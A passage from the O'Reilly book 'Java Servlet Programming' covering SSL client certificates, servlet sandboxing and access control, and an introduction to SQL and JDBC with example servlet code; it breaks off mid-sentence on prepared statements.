if (cipherSuite != null) {
  X509Certificate certChain[] =
    (X509Certificate[]) req.getAttribute("javax.net.ssl.peer_certificates");
  if (certChain != null) {
    for (int i = 0; i < certChain.length; i++) {
      out.println ("Client Certificate [" + i + "] = "
                      + certChain[i].toString());
    }
  }
}
out.println("</PRE>");

Here's the output we first saw in Chapter 4, "Retrieving Information":

Cipher Suite:  SSL_RSA_EXPORT_WITH_RC4_40_MD5
Client Certificate [0] = [
  X.509v3 certificate,
  Subject is OID.1.2.840.113549.1.9.1=#160F6A68756E746572407367692E636F6D,
CN=Jason Hunter, OU=Digital ID Class 1 - Netscape,
OU="www.verisign.com/repository/CPS Incorp. by Ref.,LIAB.LTD(c)96",
OU=VeriSign Class 1 CA - Individual Subscriber, O="VeriSign, Inc.", L=Internet
  Key:  algorithm = [RSA], exponent = 0x    010001, modulus =
    b35ed5e7 45fc5328 e3f5ce70 838cc25d 0a0efd41 df4d3e1b 64f70617 528546c8
    fae46995 9922a093 7a54584d d466bee7 e7b5c259 c7827489 6478e1a9 3a16d45f
  Validity  until
  Issuer is OU=VeriSign Class 1 CA - Individual Subscriber, O="VeriSign, Inc.",
L=Internet
  Issuer signature used [MD5withRSA]
  Serial number =     20556dc0 9e31dfa4 ada6e10d 77954704
]
Client Certificate [1] = [
  X.509v3 certificate,
  Subject is OU=VeriSign Class 1 CA - Individual Subscriber, O="VeriSign,
Inc.", L=Internet
  Key:  algorithm = [RSA], exponent = 0x    010001, modulus =
    b614a6cf 4dd0050d d8ca23d0 6faab429 92638e2c f86f96d7 2e9d764b 11b1368d
    57c9c3fd 1cc6bafe 1e08ba33 ca95eabe e35bcd06 a8b7791d 442aed73 f2b15283
    68107064 91d73e6b f9f75d9d 14439b6e 97459881 47d12dcb ddbb72d7 4c3f71aa
    e240f254 39bc16ee cf7cecba db3f6c2a b316b186 129dae93 34d5b8d5 d0f73ea9
  Validity  until
  Issuer is OU=Class 1 Public Primary Certification Authority, O="VeriSign,
Inc.", C=US
  Issuer signature used [MD2withRSA]
  Serial number =     521f351d f2707e00 2bbeca59 8704d539
]

The first certificate is the user's public key. The second is VeriSign's signature that vouches for the authenticity of the first signature. Of course, the information from these certificate chains isn't particularly useful to the application programmer. In some applications, it is safe to simply assume that a user is authorized if she got past the SSL authentication phase. For others, the certificates can be picked apart using the javax.security.cert.X509Certificate class. More commonly, a web server allows you to assign a username to each certificate you tell it to accept. Servlets can then call getRemoteUser() to get a unique username. The latter solution works with almost all web servers.

Previous | Home | Next
8.2. Digital Certificates | Book Index | 8.4. Running Servlets Securely
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Running Servlets Securely (Java Servlet Programming)

 Java Servlet Programming Search this book

8.4. Running Servlets Securely

CGI programs and C++-based plug-ins operate with relatively unfettered access to the server machine on which they execute (limited on Unix machines by the user account permissions of the web server process). This isn't so bad for an isolated programmer developing for a single web server, but it's a security nightmare for internet service providers (ISPs), corporations, schools, and everyone else running shared web servers.

For these sites, the problem isn't just protecting the server from malicious CGI programmers. The more troublesome problem is protecting from careless CGI programmers. There are dozens of well-known CGI programming mistakes that could let a malicious client gain unauthorized access to the server machine. One innocuous-looking but poorly written Perl eval function is all it takes. For an extensive list of CGI security gotchas, see Chapter 6 of The WWW Security FAQ at http://www.w3.org/Security/Faq/www-security-faq.html.

To better understand the situation, imagine you're an ISP and want to give your customers the ability to generate dynamic content using CGI programs. What can you do to protect yourself? Historically, ISPs have chosen one of three options:

Have blind faith in the customer.

He's a good guy and a smart programmer, and besides, we have his credit card number.

Educate the customer.

If he reads the WWW Security FAQ and passes a written test, we'll let him write CGI programs for our server.

Review all code.

Before we install any CGI program on the server, we'll have our expert review it and scan for security problems.

None of these approaches work very well. Having blind faith is just asking for trouble. Programmer education helps, but programmers are human and bound to make mistakes. As for code review, there's still no guarantees, plus it takes time and costs money to do the extra work.

Fortunately, with servlets there's another, better solution. Because servlets are written in Java, they can be forced to follow the rules of a security manager (or access controller with JDK 1.2) to greatly limit the server's exposure to risk, all with a minimal amount of human effort.

8.4.1. The Servlet Sandbox

Servlets built using JDK 1.1 generally operate with a security model called the "servlet sandbox." Under this model, servlets are either trusted and given open access to the server machine, or they're untrusted and have their access limited by a restrictive security manager. The model is very similar to the "applet sandbox," where untrusted applet code has limited access to the client machine.

What's a security manager? It's a class subclassed from java.lang.SecurityManager that is loaded by the Java environment to monitor all security-related operations: opening network connections, reading and writing files, exiting the program, and so on. Whenever an application, applet, or servlet performs an action that could cause a potential security breach, the environment queries the security manager to check its permissions. For a normal Java application, there is no security manager. When a web browser loads an untrusted applet over the network, however, it loads a very restrictive security manager before allowing the applet to execute.

Servlets can use the same technology, if the web server implements it. Local servlets can be trusted to run without a security manager, or with a fairly lenient one. For the Java Web Server 1.1, this is what happens when servlets are placed in the default servlet directory or another local source. Servlets loaded from a remote source, on the other hand, are by nature suspect and untrusted, so the Java Web Server forces them to run in a very restrictive environment where they can't access the local file system, establish network connections, and so on.[3] All this logic is contained within the server and is invisible to the servlet, except that the servlet may see a SecurityException thrown when it tries to access a restricted resource. The servlet sandbox is a simple model, but it is already more potent than any other server extension technology to date.

[3]If you want a local servlet run in the restrictive environment, a workaround is to place them in your server's document root (such as server_root/public_html) and configure the server load them remotely from the same server.

Using digital signatures, it is possible for remotely loaded servlets to be trusted just like local servlets. Third-party servlets are often packaged using the Java Archive (JAR) file format. A JAR file collects a group of class files and other resources into a single archive for easy maintenance and fast download. Another nice feature of JAR files that is useful to servlets is that they can be digitally signed. This means that anyone with the public key for "Crazy Al's Servlet Shack" can verify that her copy of Al's Guestbook Servlet actually came from Al. On some servers, including the Java Web Server, these authenticated servlets can then be trusted and given extended access to the system.[4]

[4]You can create your owned signed servlets using a certificate generated by the JDK's key management tools (javakey in JDK 1.1 or keytool and jarsigner in JDK 1.2). Alternately, you can obtain signed certificates from VeriSign or another certificate authority.

8.4.2. Fine-grained Control

This all-or-nothing approach to servlet permissions is useful, but it can be overly limiting. Consequently, some servlet engines have begun to explore a more fine-grained protection of server resources--for example, allowing a specific servlet to establish a network connection but not write to the server's file system. This fine-grained control is fairly awkward using the JDK 1.1 notion of a SecurityManager class and, therefore, isn't widely implemented, although it can be done, as the Java Web Server 1.1 proves.

The Java Web Server 1.1 includes eight permissions that can be granted to servlets:

Load servlet

Let the servlet load a named servlet.

Write files

Let the servlet write any file on the local file system.

Listen to socket

Allow the servlet to accept incoming socket (network) connections.

Link libraries

Allow the loading of native libraries, such as the JDBC-ODBC bridge.

Read files

Let the servlet read any file on the local file system.

Open remote socket

Allow the servlet to connect to an external host.

Execute programs

Permit the servlet to execute external programs on the server. This is useful for servlets that absolutely require access to some system utilities, but it is very dangerous: rm and del qualify as an external programs!

Access system properties

Grant access to java.lang.System properties.

A screen shot of the Administration Tool configuration page that assigns these permissions is shown in Figure 8-3.

Figure 8-3. Eight permissions

Theoretically, any criterion can be used to determine what a servlet can or cannot do. It's possible for the security manager to base its permission-granting decision on any factor, including these:

The servlet itself

For example, this servlet can read files and load native libraries but cannot write files.

The client user

For instance, any servlet responding to a request from this client user can write files.

The client host

For example, any servlet responding to a request from this machine can establish network connections.

Digital signatures

For instance, any servlet in a JAR file signed by this entity has full reign on the server system.

8.4.3. Access Controllers

JDK 1.2 introduces a new extension to the security manager system: the access controller. The new architecture is quite similar to the "give particular servlets particular privileges" approach implemented by the Java Web Server 1.1, except that it applies to all JDK 1.2 programs and therefore makes fine-grained permission implementations much easier.

An access controller allows what might be called super-fine-grained permission control. Instead of granting a servlet the general ability to write files, with an access controller a servlet can be given the right to write to a single file--perfect for a counter servlet, for example. Or it can be given the right to read and write files only in the client user's home directory on the server--appropriate for a client/server application. With access controllers, servlets can be given the rights to do exactly what they need to do and nothing more.

Access controllers work by placing individual pieces of code, often identified by digital signatures, into particular virtual domains. Classes in these domains can be granted fine-grained permissions, such as the ability to read from the server's document root, write to a temporary directory, and accept socket connections. All permission policy decisions are managed by a single instance of the java.security.AccessController class. This class bases its policy decisions on a simple configuration file, easily managed using a graphical user interface.

Now, instead of relying on complicated custom security managers as the Java Web Server team had to do, a servlet engine need only add a few lines of code to use an access controller. So, while the Java Web Server is the only servlet implementation supporting fine-grained security as of early 1998, once JDK 1.2 becomes popular, it should be easy for other servlet engine implementers to add the same level of fine-grained access control. These implementations may already be available by the time you read this.

Previous | Home | Next
8.3. Secure Sockets Layer (SSL) | Book Index | 9. Database Connectivity
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Database Connectivity (Java Servlet Programming)

 Java Servlet Programming Search this book

Chapter 9. Database Connectivity

Contents:

Relational Databases
The JDBC API
Reusing Database Objects
Transactions
Advanced JDBC Techniques

It's hard to find a professional web site today that doesn't have some sort of database connectivity. Webmasters have hooked online front ends to all manner of legacy systems, including package tracking and directory databases, as well as many newer systems like online messaging, storefronts, and search engines. But web-database interaction comes with a price: database-backed web sites can be difficult to develop and can often exact heavy performance penalties. Still, for many web sites, especially intranet applications, database connectivity is just too useful to let go. More and more, databases are driving the Web.

This chapter introduces relational databases, the Structured Query Language (SQL) used to manipulate those databases, and the Java database connectivity (JDBC) API itself. Servlets, with their enduring life cycle, and JDBC, a well-defined database-independent database connectivity API, are an elegant and efficient solution for webmasters who need to hook their web sites to back-end databases. In fact, both of your authors started working with servlets specifically because of this efficiency and elegance. Although elsewhere in the book we have assumed that you are familiar with Java, this chapter breaks that assumption and begins with a quick course in JDBC.

The biggest advantage for servlets with regard to database connectivity is that the servlet life cycle (explained in depth in Chapter 3, "The Servlet Life Cycle") allows servlets to maintain open database connections. An existing connection can trim several seconds from a response time, compared to a CGI script that has to reestablish its connection for every invocation. Exactly how to maintain the database connection depends on the task at hand, and this chapter demonstrates several techniques appropriate for different tasks.

Another advantage of servlets over CGI and many other technologies is that JDBC is database-independent. A servlet written to access a Sybase database can, with a two-line modification or a change in a properties file, begin accessing an Oracle database (assuming none of the database calls it makes are vendor-specific). In fact, you should notice that the examples in this chapter are written to access a variety of different databases, including ODBC data sources (such as Microsoft Access), Oracle, and Sybase.

Servlets in the Middle Tier

One common place for servlets, especially servlets that access a database, is in what's called the middle tier. A middle tier is something that helps connect one endpoint to another (an applet to a database, for example) and along the way adds a little something of its own.

The most compelling reason for putting a middle tier between a client and our ultimate date source is that software in the middle tier (commonly referred to as middleware) can include business logic. Business logic abstracts complicated low-level tasks (such as updating database tables) into high-level tasks (placing and order), making the whole operation simpler and safer.

Imagine a client application that places an order. Without middleware, the application has to connect directly to the database server that stores the order records and then change the database fields to reflect the order. If the database server changes in any way (by moving to a different machine, altering its internal table structure, or changing database vendors), the client may break. Even worse, if someone makes a minor change to the client (either intentionally or accidentally), it's possible for the database to record orders without first receiving payment or to reject perfectly valid entries.

Middleware uses business logic to abstract the ordering process. Middleware accepts information about the order (for example, name, address, item, quantity, credit card number), sanity-checks the information, verifies that the credit card is valid, and enters the information into the database. Should the database change, the middleware can be updated without any changes in the client. Even if the orders database is temporarily replaced with a simple flat file order log, the middleware can present the same appearance to the client.

Middleware can improve efficiency by spreading the processing load across several back-end servers (CPU servers, database servers, file servers, directory servers, etc.). Middleware can also make more efficient use of bandwidth: instead of having a client perform the back-and-forth communication with the server over what might be a slow network connection, the client can tell the middleware what it needs and the middleware can do the work using a fast network connection and probably pooled database connections.

On the Web, middle tiers are often implemented using servlets. Servlets provide a convenient way to connect clients built using HTML forms or applets to back-end servers. A client communicates its requirements to the servlet using HTTP, and the business logic in the servlet handles the request by connecting to the back-end server. (More information on applet-servlet communication is coming up in Chapter 10, "Applet-Servlet Communication".)

Servlets sometimes use another middle tier to connect to a database. If a web browser sends an HTML form with order information to a servlet, that servlet may parse the information and make an RMI call to middleware on another machine that has the responsibility for handling all orders--from servlets as well as standalone programs. In these cases, what was once three tiers is now four tiers.

9.1. Relational Databases

In some earlier examples, we've seen servlets that used file storage on the local disk to store their persistent data. The use of a flat file is fine for a small amount of data, but it can quickly get out of control. As the amount of data grows, access times slow to a crawl. And just finding data can become quite a challenge: imagine storing the names, cities, and email addresses of all your customers in a text file. It works great for a company that is just starting out, but what happens when you have hundreds of thousands of customers and want to display a list of all your customers in Boston with email addresses ending in "aol.com"?

One of the best solutions to this problem is a Relational Database Management System (RDBMS). At the most basic level, an RDBMS organizes data into tables. These tables are organized into rows and columns, much like a spreadsheet. Particular rows and columns in a table can be related (hence the term "relational") to one or more rows and columns in another table.

One table in a relational database might contain information about customers, another might contain orders, and a third might contain information about individual items within an order. By including unique identifiers (say, customer numbers and order numbers), orders from the orders table can be linked to customer records and individual order components. Figure 9-1 shows how this might look if we drew it out on paper.

Figure 9-1. Related tables

Data in the tables can be read, updated, appended, and deleted using the Structured Query Language, or SQL, sometimes also referred to as the Standard Query Language. Java's JDBC API introduced in JDK 1.1 uses a specific subset of SQL known as ANSI SQL-2 Entry Level. Unlike most programming languages, SQL is declarative: you say what you want, and the SQL interpreter gives it to you. Other languages, like C, C++, and Java, by contrast, are essentially procedural, in that you specify the steps required to perform a certain task. SQL, while not prohibitively complex, is also rather too broad a subject to cover in great (or, indeed, merely adequate) detail here. In order to make the rest of the examples in this chapter comprehensible, though, here's a brief tutorial.

The simplest and most common SQL expression is the SELECTstatement, which queries the database and returns a set of rows that matches a set of search criteria. For example, the following SELECT statement selects everything from the CUSTOMERS table:

SELECT * FROM CUSTOMERS

SQL keywords like SELECT and FROM and objects like CUSTOMERS are case insensitive but frequently written in uppercase. When run in Oracle's SQL*PLUS SQL interpreter, this query would produce something like the following output:

CUSTOMER_ID   NAME                          PHONE
------------- ----------------------------- ---------------
1             Bob Copier                    617 555-1212
2             Janet Stapler                 617 555-1213
3             Joel Laptop                   508 555-7171
4             Larry Coffee                  212 555-6525

More advanced statements might restrict the query to particular columns or include some specific limiting criteria:

SELECT ORDER_ID, CUSTOMER_ID, TOTAL FROM ORDERS
WHERE ORDER_ID = 4

This statement selects the ORDER_ID, CUSTOMER_ID, and TOTAL columns from all records where the ORDER_ID field is equal to 4. Here's a possible result:

 ORDER_ID CUSTOMER_ID     TOTAL
--------- ----------- ---------
        4           1     72.19

A SELECT statement can also link two or more tables based on the values of particular fields. This can be either a one-to-one relationship or, more typically, a one-to-many relation, such as one customer to several orders:

SELECT CUSTOMERS.NAME, ORDERS.TOTAL FROM CUSTOMERS, ORDERS
WHERE ORDERS.CUSTOMER_ID = CUSTOMERS.CUSTOMER_ID AND ORDERS.ORDER_ID = 4

This statement connects (or, in database parlance, joins) the CUSTOMERS table with the ORDERS table via the CUSTOMER_ID field. Note that both tables have this field. The query returns information from both tables: the name of the customer who made order 4 and the total cost of that order. Here's some possible output:

NAME                             TOTAL
-------------------------------- ---------
Bob Copier                       72.19

SQL is also used to update the database. For example:

INSERT INTO CUSTOMERS (CUSTOMER_ID, NAME, PHONE)
  VALUES (5, "Bob Smith", "555 123-3456")
UPDATE CUSTOMERS SET NAME = "Robert Copier" WHERE CUSTOMER_ID = 1
DELETE FROM CUSTOMERS WHERE CUSTOMER_ID = 2

The first statement creates a new record in the CUSTOMERS table, filling in the CUSTOMER_ID, NAME, and PHONE fields with certain values. The second updates an existing record, changing the value of the NAME field for a specific customer. The last deletes any records with a CUSTOMER_ID of 2. Be very careful with all of these statements, especially DELETE. A DELETE statement without a WHERE clause will remove all the records in the table!

For a good primer on relational databases and SQL, we recommend SQL for Dummies, by Allen G. Taylor (IDG Books Worldwide).

Previous | Home | Next
8.4. Running Servlets Securely | Book Index | 9.2. The JDBC API
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The JDBC API (Java Servlet Programming)

 Java Servlet Programming Search this book

9.2. The JDBC API

Previously, we've assumed that you have a general working knowledge of the various Java APIs. Because even experienced Java programmers may have had relatively little experience with databases, this section provides a general introduction to JDBC. If this is your first foray into the world of databases, we strongly recommend that you take a breather and find a book on general database and JDBC concepts. You may want to read Database Programming with JDBC and Java, by George Reese (O'Reilly), orJDBC Database Access with Java, by Graham Hamilton, Rick Cattell, and Maydene Fisher (Addison-Wesley). The official JDBC specification is also available online at http://java.sun.com/products/jdbc.

JDBC is a SQL-level API--one that allows you to execute SQL statements and retrieve the results, if any. The API itself is a set of interfaces and classes designed to perform actions against any database. Figure 9-2 shows how JDBC programs interact with databases.

Figure 9-2. Java and the database

9.2.1. JDBC Drivers

The JDBC API, found in the java.sql package, contains only a few concrete classes. Much of the API is distributed as database-neutral interface classes that specify behavior without providing any implementation. The actual implementations are provided by third-party vendors.

An individual database system is accessed via a specific JDBC driver that implements the java.sql.Driver interface. Drivers exist for nearly all popular RDBMS systems, though few are available for free. Sun bundles a free JDBC-ODBC bridge driver with the JDK to allow access to standard ODBC data sources, such as a Microsoft Access database. However, Sun advises against using the bridge driver for anything other than development and very limited deployment. Servlet developers in particular should heed this warning because any problem in the JDBC-ODBC bridge driver's native code section can crash the entire server, not just your servlets.

JDBC drivers are available for most database platforms, from a number of vendors and in a number of different flavors. There are four driver categories:

Type 1- JDBC-ODBC Bridge Driver

Type 1 drivers use a bridge technology to connect a Java client to an ODBC database service. Sun's JDBC-ODBC bridge is the most common Type 1 driver. These drivers are implemented using native code.

Type 2- Native-API Partly-Java Driver

Type 2 drivers wrap a thin layer of Java around database-specific native code libraries. For Oracle databases, the native code libraries might be based on the OCI (Oracle Call Interface) libraries, which were originally designed for C/C++ programmers. Because Type 2 drivers are implemented using native code, in some cases they have better performance than their all-Java counterparts. They add an element of risk, however, because a defect in a driver's native code section can crash the entire server.

Type 3- Net-Protocol All-Java Driver

Type 3 drivers communicate via a generic network protocol to a piece of custom middleware. The middleware component might use any type of driver to provide the actual database access. WebLogic's Tengah product line is an example. These drivers are all Java, which makes them useful for applet deployment and safe for servlet deployment.

Type 4- Native-Protocol All-Java Driver

Type 4 drivers are the most direct of the lot. Written entirely in Java, Type 4 drivers understand database-specific networking protocols and can access the database directly without any additional software.

A list of currently available JDBC drivers can be found at http://java.sun.com/products/jdbc/jdbc.drivers.html .

9.2.2. Getting a Connection

The first step in using a JDBC driver to get a database connection involves loading the specific driver class into the application's JVM. This makes the driver available later, when we need it for opening the connection. An easy way to load the driver class is to use the Class.forName() method:

Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");

When the driver is loaded into memory, it registers itself with the java.sql.DriverManager class as an available database driver.

The next step is to ask the DriverManager class to open a connection to a given database, where the database is specified by a specially formatted URL. The method used to open the connection is DriverManager.getConnection() . It returns a class that implements the java.sql.Connection interface:

Connection con =
  DriverManager.getConnection("jdbc:odbc:somedb", "user", "passwd");

A JDBC URL identifies an individual database in a driver-specific manner. Different drivers may need different information in the URL to specify the host database. JDBC URLs usually begin with jdbc:subprotocol:subname. For example, the Oracle JDBC-Thin driver uses a URL of the form of jdbc:oracle:thin: @dbhost : port:sid; the JDBC-ODBC bridge uses jdbc:odbc: data- sourcename ;odbcoptions.

During the call to getConnection() , the DriverManager object asks each registered driver if it recognizes the URL. If a driver says yes, the driver manager uses that driver to create the Connection object. Here is a snippet of code a servlet might use to load its database driver with the JDBC-ODBC bridge and create an initial connection:

Connection con = null;
try {
  // Load (and therefore register) the JDBC-ODBC Bridge
  // Might throw a ClassNotFoundException
  Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");

  // Get a connection to the database
  // Might throw an SQLException
  con = DriverManager.getConnection("jdbc:odbc:somedb", "user", "passwd");

  // The rest of the code goes here.
}
catch (ClassNotFoundException e) {
  // Handle an error loading the driver
}
catch (SQLException e) {
  // Handle an error getting the connection
}
finally {
  // Close the Connection to release the database resources immediately.
  try {
    if (con != null) con.close();
  }
  catch (SQLException ignored) { }
}

9.2.3. Executing SQL Queries

To really use a database, we need to have some way to execute queries. The simplest way to execute a query is to use the java.sql.Statement class. Statement objects are never instantiated directly; instead, a program calls the createStatement() method of Connection to obtain a new Statement object:

Statement stmt = con.createStatement();

A query that returns data can be executed using the executeQuery() method of Statement. This method executes the statement and returns a java.sql.ResultSet that encapsulates the retrieved data:

ResultSet rs = stmt.executeQuery("SELECT * FROM CUSTOMERS");

You can think of a ResultSet object as a representation of the query result returned one row at a time. You use the next()method of ResultSet to move from row to row. The ResultSet interface also boasts a multitude of methods designed for retrieving data from the current row. The getString()and getObject()methods are among the most frequently used for retrieving column values:

while(rs.next()) {
  String event = rs.getString("event");
  Object count = (Integer) rs.getObject("count");
}

You should know that the ResultSet is linked to its parent Statement. Therefore, if a Statement is closed or used to execute another query, any related ResultSet objects are closed automatically.

Example 9-1 shows a very simple servlet that uses the Oracle JDBC driver to perform a simple query, printing names and phone numbers for all employees listed in a database table. We assume that the database contains a table named EMPLOYEES, with at least two fields, NAME and PHONE.

Example 9-1. A JDBC-enabled servlet

import java.io.*;
import java.sql.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class DBPhoneLookup extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    Connection con = null;
    Statement stmt = null;
    ResultSet rs = null;

    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    try {
      // Load (and therefore register) the Oracle Driver
      Class.forName("oracle.jdbc.driver.OracleDriver");

      // Get a Connection to the database
      con = DriverManager.getConnection(
        "jdbc:oracle:thin:@dbhost:1528:ORCL", "user", "passwd");

      // Create a Statement object
      stmt = con.createStatement();

      // Execute an SQL query, get a ResultSet
      rs = stmt.executeQuery("SELECT NAME, PHONE FROM EMPLOYEES");

      // Display the result set as a list
      out.println("<HTML><HEAD><TITLE>Phonebook</TITLE></HEAD>");
      out.println("<BODY>");
      out.println("<UL>");
      while(rs.next()) {
        out.println("<LI>" + rs.getString("name") + " " + rs.getString("phone"));
      }
      out.println("</UL>");
      out.println("</BODY></HTML>");
    }
    catch(ClassNotFoundException e) {
      out.println("Couldn't load database driver: " + e.getMessage());
    }
    catch(SQLException e) {
      out.println("SQLException caught: " + e.getMessage());
    }
    finally {
      // Always close the database connection.
      try {
        if (con != null) con.close();
      }
      catch (SQLException ignored) { }
    }
  }
}

This is about as simple a database servlet as you are likely to see. All DBPhoneLookup does is connect to the database, run a query that retrieves the names and phone numbers of everyone in the employees table, and display the list to the user.

9.2.4. Handling SQL Exceptions

DBPhoneLookup encloses most of its code in a try/catch block. This block catches two exceptions: ClassNotFoundException and SQLException . The former is thrown by the Class.forName() method when the JDBC driver class can not be loaded. The latter is thrown by any JDBC method that has a problem. SQLException objects are just like any other exception type, with the additional feature that they can chain. The SQLException class defines an extra method, getNextException(), that allows the exception to encapsulate additional Exception objects. We didn't bother with this feature in the previous example, but here's how to use it:

catch (SQLException e) {
  out.println(e.getMessage());
  while((e = e.getNextException()) != null) {
    out.println(e.getMessage());
  }
}

This code displays the message from the first exception and then loops through all the remaining exceptions, outputting the error message associated with each one. In practice, the first exception will generally include the most relevant information.

9.2.5. Result Sets in Detail

Before we continue, we should take a closer look at the ResultSet interface and the related ResultSetMetaData interface. In Example 9-1, we knew what our query looked like, and we knew what we expected to get back, so we formatted the output appropriately. But, if we want to display the results of a query in an HTML table, it would nice to have some Java code that builds the table automatically from the ResultSet rather than having to write the same loop-and-display code over and over. As an added bonus, this kind of code makes it possible to change the contents of the table simply by changing the query.

The ResultSetMetaData interface provides a way for a program to learn about the underlying structure of a query result on the fly. We can use it to build an object that dynamically generates an HTML table from a ResultSet, as shown in Example 9-2. Many Java HTML generation tools (such as WebLogic's htmlKona toolkit discussed in Chapter 5, "Sending HTML Information") have a similar capability.

Example 9-2. A class to generate an HTML table from a ResultSet using ResultSetMetaData

import java.sql.*;

public class HtmlResultSet {

  private ResultSet rs;

  public HtmlResultSet(ResultSet rs) {
    this.rs = rs;
  }

  public String toString() {  // can be called at most once
    StringBuffer out = new StringBuffer();
    // Start a table to display the result set
    out.append("<TABLE>\n");

    try {
      ResultSetMetaData rsmd = rs.getMetaData();

      int numcols = rsmd.getColumnCount();

      // Title the table with the result set's column labels
      out.append("<TR>");
      for (int i = 1; i <= numcols; i++) {
        out.append("<TH>" + rsmd.getColumnLabel(i));
      }
      out.append("</TR>\n");

      while(rs.next()) {
        out.append("<TR>"); // start a new row
        for (int i = 1; i <= numcols; i++) {
          out.append("<TD>"); // start a new data element
          Object obj = rs.getObject(i);
          if (obj != null)
            out.append(obj.toString());
          else
            out.append("&nbsp;");
        }
        out.append("</TR>\n");
      }

      // End the table
      out.append("</TABLE>\n");
    }
    catch (SQLException e) {
      out.append("</TABLE><H1>ERROR:</H1> " + e.getMessage() + "\n");
    }

    return out.toString();
  }
}

This example shows how to use two basic methods of ResultSetMetaData: getColumnCount()and getColumnLabel(). The first returns the number of columns in the ResultSet, while the second retrieves the name of a particular column in a result set based on its numerical index. Indexes in ResultSet objects follow the RDBMS standard rather than the C++/Java standard, which means they are numbered from 1 to n rather than from 0 to n-1.

This example also uses the getObject() method of ResultSet to retrieve the value of each column. All of the get XXX() methods work with column indexes as well as with column names. Accessing data this way is more efficient, and, with well-written SQL, is more portable. Here we use getObject().toString() instead of getString() to simplify the handling of null values, as discussed in the next section.

Table 9-1 shows the Java methods you can use to retrieve some common SQL data types from a database. No matter what the type, you can always use the getObject() method of ResultSet, in which case the type of the object returned is shown in the second column. You can also use a specific get XXX() method. These methods are shown in the third column, along with the Java data types they return. Remember that supported SQL data types vary from database to database.

Table 9-1. Methods to Retrieve Data from a ResultSet

SQL Data Type | Java Type Returned by getObject() | Recommended Alternative to getObject()
CHAR | String | String getString()
VARCHAR | String | String getString()
LONGVARCHAR | String | InputStream getAsciiStream() InputStream getUnicodeStream()
NUMERIC | java.math.BigDecimal | java.math.BigDecimal getBigDecimal()
DECIMAL | java.math.BigDecimal | java.math.BigDecimal getBigDecimal()
BIT | Boolean | boolean getBoolean()
TINYINT | Integer | byte getByte()
SMALLINT | Integer | short getShort()
INTEGER | Integer | int getInt()
BIGINT | Long | long getLong()
REAL | Float | float getFloat()
FLOAT | Double | double getDouble()
DOUBLE | Double | double getDouble()
BINARY | byte[] | byte[] getBytes()
VARBINARY | byte[] | byte[] getBytes()
LONGVARBINARY | byte[] | getBinaryStream()
DATE | java.sql.Date | java.sql.Date getDate()
TIME | Java.sql.Time | java.sql.Time getTime()
TIMESTAMP | Java.sql.Timestamp | java.sql.Timestamp getTimestamp()

9.2.6. Handling Null Fields

Handling nulldatabase values with JDBC can be a little tricky. (A database field can be set to null to indicate that no value is present, in much the same way that a Java object can be set to null.) A method that doesn't return an object, like getInt(), has no way of indicating whether a column is null or whether it contains actual information. (Some drivers return a string that contains the text "null" when getString() is called on a null column!) Any special value like -1, might be a legitimate value. Therefore, JDBC includes the wasNull() method in ResultSet, which returns true or false depending on whether the last column read was a true database null. This means that you must read data from the ResultSet into a variable, call wasNull(), and proceed accordingly. It's not pretty, but it works. Here's an example:

int age = rs.getInt("age");
if (!rs.wasNull())
 out.println("Age: " + age);

Another way to check for null values is to use the getObject() method. If a column is null, getObject() always returns null. Compare this to the getString() method that has been known, in some implementations, to return the empty string if a column is null. Using getObject() eliminates the need to call wasNull() and leads to simpler code.

9.2.7. Updating the Database

Most database-enabled web sites need to do more than just perform queries. When a client submits an order or provides some kind of information, the data needs to be entered into the database. When you know you're executing a SQL UPDATE, INSERT, or DELETE statement and you know you don't expect a ResultSet, you can use the executeUpdate() method of Statement. It returns a count that indicates the number of rows modified by the statement. It's used like this:

int count =
  stmt.executeUpdate("DELETE FROM CUSTOMERS WHERE CUSTOMER_ID = 5");

If you are executing SQL that may return either a ResultSet or a count (say, if you're handling user-submitted SQL or building generic data-handling classes), use the generic execute() method of Statement. It returns a boolean whose value is true if the SQL statement produced one or more ResultSet objects or false if it resulted in an update count:

boolean b = stmt.execute(sql);

The getResultSet()and getUpdateCount()methods of Statement provide access to the results of the execute() method. Example 9-3 demonstrates the use of these methods with a new version of HtmlResultSet, named HtmlSQLResult, that creates an HTML table from any kind of SQL statement.

Example 9-3. A class to generate an HTML table from a ResultSet using the ResultSetMetaData

import java.sql.*;

public class HtmlSQLResult {
  private String sql;
  private Connection con;

  public HtmlSQLResult(String sql, Connection con) {
    this.sql = sql;
    this.con = con;
  }

  public String toString() {  // can be called at most once
    StringBuffer out = new StringBuffer();

    // Uncomment the following line to display the SQL command at start of table
    // out.append("Results of SQL Statement: " + sql + "<P>\n");

    try {
      Statement stmt = con.createStatement();

      if (stmt.execute(sql)) {
        // There's a ResultSet to be had
        ResultSet rs = stmt.getResultSet();
        out.append("<TABLE>\n");

        ResultSetMetaData rsmd = rs.getMetaData();

        int numcols = rsmd.getColumnCount();

        // Title the table with the result set's column labels
        out.append("<TR>");
        for (int i = 1; i <= numcols; i++)
          out.append("<TH>" + rsmd.getColumnLabel(i));
        out.append("</TR>\n");

        while(rs.next()) {
          out.append("<TR>");  // start a new row
          for(int i = 1; i <= numcols; i++) {
            out.append("<TD>");  // start a new data element
            Object obj = rs.getObject(i);
            if (obj != null)
              out.append(obj.toString());
            else
              out.append("&nbsp;");
            }
          out.append("</TR>\n");
        }

        // End the table
        out.append("</TABLE>\n");
      }
      else {
        // There's a count to be had
        out.append("<B>Records Affected:</B> " + stmt.getUpdateCount());
      }
    }
    catch (SQLException e) {
      out.append("</TABLE><H1>ERROR:</H1> " + e.getMessage());
    }

    return out.toString();
  }
}

This example uses execute() to execute whatever SQL statement is passed to the HtmlSQLResult constructor. Then, depending on the return value, it either calls getResultSet() or getUpdateCount(). Note that neither getResultSet() nor getUpdateCount() should be called more than once per query.

9.2.8. Using Prepared Statements

A PreparedStatement object islike a regular Statement object, in that it can be used to execute SQL statements. The important difference is that the SQL in a PreparedStatement is precompiled by the database for faster execution. Once a PreparedStatement has been compiled, it can still be customized by adjusting predefined parameters. Prepared statements are useful in applications that have to run the same general SQL command over and over.

Use the prepareStatement(String) method of Connection to create PreparedStatement objects. Use the ? character as a placeholder for values to be substituted later. For example:

